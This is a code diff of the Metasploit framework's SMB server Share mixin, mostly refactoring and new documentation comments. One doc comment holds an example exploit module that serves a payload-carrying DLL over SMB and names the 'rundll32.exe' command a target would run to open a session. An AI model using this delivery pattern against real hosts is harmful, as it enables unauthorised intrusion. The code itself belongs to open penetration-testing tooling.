1010
1111module  Msf 
1212  module  Exploit ::Remote ::SMB ::Server 
13-     # This mixin provides a minimal SMB server 
13+     # This mixin provides a minimal SMB server sharing an UNC resource. At 
14+     # this moment it is capable to share just one file. And the file should 
15+     # live in the root folder "\\". 
16+     # 
17+     # @example Use it from an Auxiliary module 
18+     #   require 'msf/core' 
19+     # 
20+     #   class Metasploit3 < Msf::Auxiliary 
21+     # 
22+     #     include Msf::Exploit::Remote::SMB::Server::Share 
23+     # 
24+     #     def initialize 
25+     #       super( 
26+     #         'Name'        => 'SMB File Server', 
27+     #         'Description'    => %q{ 
28+     #           This module provides a SMB File Server service 
29+     #         }, 
30+     #         'Author'      => 
31+     #           [ 
32+     #             'Matthew Hall', 
33+     #             'juan vazquez' 
34+     #           ], 
35+     #         'License'     => MSF_LICENSE, 
36+     #         'Actions'     => 
37+     #           [ 
38+     #             ['Service'] 
39+     #           ], 
40+     #         'PassiveActions' => 
41+     #           [ 
42+     #             'Service' 
43+     #           ], 
44+     #         'DefaultAction'  => 'Service' 
45+     #       ) 
46+     #     end 
47+     # 
48+     #     def run 
49+     #       print_status("Starting SMB Server on #{unc}...") 
50+     #       exploit 
51+     #     end 
52+     # 
53+     #     def primer 
54+     #       print_status("Primer...") 
55+     #       self.file_contents = 'METASPLOIT' 
56+     #     end 
57+     #   end 
58+     # 
59+     # @example Use it from an Exploit module 
60+     #   require 'msf/core' 
61+     # 
62+     #   class Metasploit3 < Msf::Exploit::Remote 
63+     #     Rank = ExcellentRanking 
64+     # 
65+     #     include Msf::Exploit::EXE 
66+     #     include Msf::Exploit::Remote::SMB::Server::Share 
67+     # 
68+     #     def initialize(info={}) 
69+     #       super(update_info(info, 
70+     #         'Name'           => "Example Exploit", 
71+     #         'Description'    => %q{ 
72+     #           Example exploit, the Server shares a DLL embedding the payload. A session 
73+     #           can be achieved by executing 'rundll32.exe \\srvhost\share\test.dll,0' from 
74+     #           from the target. 
75+     #         }, 
76+     #         'License'        => MSF_LICENSE, 
77+     #         'Author'         => 
78+     #           [ 
79+     #             'Matthew Hall', 
80+     #             'juan vazquez' 
81+     #           ], 
82+     #         'References'     => 
83+     #           [ 
84+     #             ['URL', 'https://github.com/rapid7/metasploit-framework/pull/3074'] 
85+     #           ], 
86+     #         'Payload'        => 
87+     #           { 
88+     #             'Space'       => 2048, 
89+     #             'DisableNops' => true 
90+     #           }, 
91+     #           'Platform'       => 'win', 
92+     #           'Targets'        => 
93+     #             [ 
94+     #               ['Windows XP SP3 / Windows 2003 SP2', {}], 
95+     #             ], 
96+     #           'Privileged'     => false, 
97+     #           'DisclosureDate' => "Mar 02 2015", 
98+     #           'DefaultTarget'  => 0)) 
99+     # 
100+     #       register_options( 
101+     #         [ 
102+     #           OptString.new('FILE_NAME', [ false, 'DLL File name to share', 'test.dll']) 
103+     #         ], self.class) 
104+     # 
105+     #       deregister_options('FILE_CONTENTS') 
106+     #     end 
107+     # 
108+     #     def primer 
109+     #       self.file_contents = generate_payload_dll 
110+     #       print_status("File available on #{unc}...") 
111+     #     end 
112+     #   end 
14113    module  Share 
15114      require  'msf/core/exploit/smb/server/share/command' 
16115      require  'msf/core/exploit/smb/server/share/information_level' 
@@ -66,13 +165,32 @@ module Share
66165        CONST ::SMB_WRITE_OWNER_ACCESS  |
67166        CONST ::SMB_SYNC_ACCESS 
68167
69-       attr_accessor  :unc 
168+       TREE_CONNECT_MAX_ACCESS  =  CONST ::SMB_READ_ACCESS  |
169+         CONST ::SMB_READ_EA_ACCESS  |
170+         CONST ::SMB_EXECUTE_ACCESS  |
171+         CONST ::SMB_READ_ATTRIBUTES_ACCESS  |
172+         CONST ::SMB_READ_CONTROL_ACCESS  |
173+         CONST ::SMB_SYNC_ACCESS 
174+ 
175+       # @!attribute share 
176+       #   @return [String] The share portion of the provided UNC. 
70177      attr_accessor  :share 
178+       # @!attribute path_name 
179+       #   @return [String] The folder where the provided file lives. 
180+       #   @note UNSUPPORTED 
71181      attr_accessor  :path_name 
182+       # @!attribute file_name 
183+       #   @return [String] The file name of the provided UNC. 
72184      attr_accessor  :file_name 
185+       # @!attribute hi 
186+       #   @return [Fixnum] The high 4 bytes for the file 'created time'. 
73187      attr_accessor  :hi 
188+       # @!attribute lo 
189+       #   @return [Fixnum] The low 4 bytes for the file 'created time'. 
74190      attr_accessor  :lo 
75-       attr_accessor  :exe_contents 
191+       # @!attribute file_contents 
192+       #   @return [String] The contents of the provided file 
193+       attr_accessor  :file_contents 
76194
77195      def  initialize ( info  =  { } ) 
78196        super 
@@ -85,32 +203,41 @@ def initialize(info = {})
85203          ] ,  Msf ::Exploit ::Remote ::SMB ::Server ::Share ) 
86204      end 
87205
206+       # Setups the server configuration. 
88207      def  setup 
89208        super 
90209
91-         print_status ( "Setup..." ) 
92- 
93-         # TODO: Improve tree directories support 
94-         self . path_name  =  '\\' 
210+         self . path_name  =  '\\'  # TODO: Add subdirectories support 
95211        self . share  =  datastore [ 'SHARE' ]  || Rex ::Text . rand_text_alpha ( 4  + rand ( 3 ) ) 
96212        self . file_name  =  datastore [ 'FILE_NAME' ]  || Rex ::Text . rand_text_alpha ( 4  + rand ( 3 ) ) 
97-         self . unc  =  "\\ \\ #{ srvhost } \\ #{ share } \\ #{ file_name }  " 
98213
99214        t  =  Time . now . to_i 
100215        self . hi ,  self . lo  =  ::Rex ::Proto ::SMB ::Utils . time_unix_to_smb ( t ) 
101216
102217        # The module has an opportunity to set up the file contents in the "primer callback" 
103218        if  datastore [ 'FILE_CONTENTS' ] 
104-           File . open ( datastore [ 'FILE_CONTENTS' ] ,  'rb' )  {  |f | self . exe_contents  =  f . read  } 
219+           File . open ( datastore [ 'FILE_CONTENTS' ] ,  'rb' )  {  |f | self . file_contents  =  f . read  } 
105220        else 
106-           self . exe_contents  =  Rex ::Text . rand_text_alpha ( 50  + rand ( 150 ) ) 
221+           self . file_contents  =  Rex ::Text . rand_text_alpha ( 50  + rand ( 150 ) ) 
107222        end 
108223      end 
109224
225+       # Builds the UNC Name for the shared file 
226+       def  unc 
227+         "\\ \\ #{ srvhost } \\ #{ share } \\ #{ file_name }  " 
228+       end 
229+ 
230+       # Builds the server address. 
231+       # 
232+       # @return [String] The server address. 
110233      def  srvhost 
111234        datastore [ 'SRVHOST' ]  == '0.0.0.0'  ? Rex ::Socket . source_address  : datastore [ 'SRVHOST' ] 
112235      end 
113236
237+       # New connection handler, executed when there is a new conneciton. 
238+       # 
239+       # @param c [Socket] The client establishing the connection. 
240+       # @return [Hash] The hash with the client data initialized. 
114241      def  smb_conn ( c ) 
115242        @state [ c ]  =  { 
116243          :name          =>  "#{ c . peerhost }  :#{ c . peerport }  " , 
@@ -123,11 +250,13 @@ def smb_conn(c)
123250        } 
124251      end 
125252
126-       # 
127-       # Main dispatcher function 
128-       # Takes the client data and performs a case switch 
253+       # Main dispatcher function. Takes the client data and performs a case switch 
129254      # on the command (e.g. Negotiate, Session Setup, Read file, etc.) 
130255      # 
256+       # @param cmd [Fixnum] The SMB Command requested. 
257+       # @param c [Socket] The client to answer. 
258+       # @param buff [String] The data including the client request. 
259+       # @return [Fixnum] The number of bytes returned to the client as response. 
131260      def  smb_cmd_dispatch ( cmd ,  c ,  buff ) 
132261        smb  =  @state [ c ] 
133262
@@ -141,25 +270,26 @@ def smb_cmd_dispatch(cmd, c, buff)
141270
142271        case  cmd 
143272          when  CONST ::SMB_COM_NEGOTIATE 
144-             smb_cmd_negotiate ( c ,  buff ) 
273+             return   smb_cmd_negotiate ( c ,  buff ) 
145274          when  CONST ::SMB_COM_SESSION_SETUP_ANDX 
146275            word_count  =  pkt [ 'Payload' ] [ 'SMB' ] . v [ 'WordCount' ] 
147-             if  word_count  == 0x0D  # Share Security Mode sessions 
148-               smb_cmd_session_setup_andx ( c ,  buff ) 
276+             if  word_count  == 0x0d  # Share Security Mode sessions 
277+               return   smb_cmd_session_setup_andx ( c ,  buff ) 
149278            else 
150-               print_status ( "SMB Share - #{ smb [ :ip ] }   Unknown SMB_COM_SESSION_SETUP_ANDX request type  , ignoring... " ) 
151-               smb_error ( cmd ,  c ,  CONST ::SMB_STATUS_SUCCESS ) 
279+               print_status ( "SMB Share - #{ smb [ :ip ] }   Unknown SMB_COM_SESSION_SETUP_ANDX request type, ignoring... " ) 
280+               return   smb_error ( cmd ,  c ,  CONST ::SMB_STATUS_SUCCESS ) 
152281            end 
153282          when  CONST ::SMB_COM_TRANSACTION2 
154-             smb_cmd_trans2 ( c ,  buff ) 
283+             return   smb_cmd_trans2 ( c ,  buff ) 
155284          when  CONST ::SMB_COM_NT_CREATE_ANDX 
156-             smb_cmd_nt_create_andx ( c ,  buff ) 
285+             return   smb_cmd_nt_create_andx ( c ,  buff ) 
157286          when  CONST ::SMB_COM_READ_ANDX 
158-             smb_cmd_read_andx ( c ,  buff ) 
287+             return   smb_cmd_read_andx ( c ,  buff ) 
159288          when  CONST ::SMB_COM_CLOSE 
160-             smb_cmd_close ( c ,  buff ) 
289+             return   smb_cmd_close ( c ,  buff ) 
161290          else 
162-             smb_error ( cmd ,  c ,  CONST ::SMB_STATUS_SUCCESS ) 
291+             print_status ( "SMB Share - #{ smb [ :ip ] }   Unknown SMB command #{ cmd . to_s ( 16 ) }  , ignoring... " ) 
292+             return  smb_error ( cmd ,  c ,  CONST ::SMB_STATUS_SUCCESS ) 
163293        end 
164294      end 
165295    end 
0 commit comments